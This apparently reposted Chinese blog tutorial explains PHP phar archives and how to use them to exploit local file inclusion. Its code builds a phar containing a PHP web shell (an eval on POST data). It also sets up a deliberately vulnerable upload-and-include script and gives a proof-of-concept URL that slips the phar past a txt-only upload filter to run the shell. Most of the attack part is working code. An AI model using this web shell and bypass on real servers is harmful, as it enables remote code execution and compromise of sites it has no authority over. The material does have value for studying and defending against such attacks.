php phar LFI

知识共享许可协议 版权声明:署名,允许他人基于本文进行创作,且必须基于与原先许可协议相同的许可协议分发本文 (Creative Commons

在这里插入图片描述
0x01. 什么是phar

文件归档到一个文件包。
将一个模块的文件打包成一个phar,这样方便模块整体迁移,只需将phar文件移动过去,其他环境中include即可使用。
类似于java的 .jar 文件。
php 5.3时,为php的C语言扩展,安装php时会默认安装。

0x02. 创建phar文件

phar.readonly = Off 这个参数必须设置为Off,如果为On,表示phar文档不可写。

makephar.php

<?php
 
try{
    $p = new Phar("my.phar", 0, 'my.phar');
} catch (UnexpectedValueException $e) {
    die('Could not open my.phar');
} catch (BadMethodCallException $e) {
    echo 'technically, this cannot happen';
}
 
$p->startBuffering();
$p['file1.txt'] = 'file1';
$p['file2.txt'] = 'file2';
$p['file3.txt'] = 'file3';
$p['shell.php'] = '<?php phpinfo(); eval($_POST[x]); ?>';
 
// use my.phar
echo file_get_contents('phar://my.phar/file2.txt');  // echo file2
 
// make a file named my.phar
$p->setStub("<?php
    Phar::mapPhar('myphar.phar'); 
__HALT_COMPILER();");
 
$p->stopBuffering();
 
?>

上面代码生成一个my.phar文件,代码输出file2字符串。

my.phar文件包含了file1.txt,file2.txt,file3.txt和shell.php这四个文件。当然了,这四个文件不是真实存在磁盘上。

注意:这几个文件不能直接通过http访问,但可以被include和file_get_contents等php函数利用。

0x03. 利用phar

在makephar.php文件的当前目录,新建一个callphar.php,利用phar特定的格式。

<?php
include 'phar://my.phar/shell.php';
?>

访问callphar.php即可调用shell.php

注意:phar文件不受文件名限制,即my.char可以任意的重命名为aaa.bbb

callphar.php

<?php
include 'phar://aaa.bbb/shell.php';
?>

在这里插入图片描述
0x04. LFI漏洞代码及利用

upload.php

<?php
 
if(isset($_POST['submit'])){
    $upload_name = $_FILES['file']['name'];
    $tempfile = $_FILES['file']['tmp_name'];
    $upload_ext = trim(get_extension($upload_name));
 
    $savefile = RandomString() . '.txt';
    if ($upload_ext == 'txt') {
            if(move_uploaded_file($tempfile,$savefile)) {
                die('Success upload. FileName: '.$savefile);
            }
            else {
                die('Upload failed..');
            }
    }
    else {
        die('You are not a txt file..');
    }
 
}
function get_extension($file){
    return strtolower(substr($file, strrpos($file, '.')+1));   
}
 
function RandomString()
{
    $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $randstring = "";
    for ($i = 0; $i < 16; $i++) {
        $randstring .= $characters[rand(0, strlen($characters)-1)];
    }
    return $randstring;
}
 
// make a lfi vulnerability
$file = $_REQUEST['file'];
if ($file != '') {
    $inc = sprintf("%s.php", $file); // only php file can be included
    include($inc);
}
?>
 
 
<html>
    <body>
        <form method="post" action="#" enctype="multipart/form-data">
            <input type="file" name="file" value=""/>
            <input type="submit" name="submit" value="upload"/>
        </form>
    </body>
</html>

上面代码只能上传txt文件,并且可以include php后缀名的文件。

利用:
将makephar.php生成的my.char重命名为phar.txt,并且上传。
在这里插入图片描述
所以POC为:
http://localhost/pentest/web200/upload.php?file=phar://S9EvthZuJI1TC4u5.txt/shell
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/kclax/article/details/92219222
LFI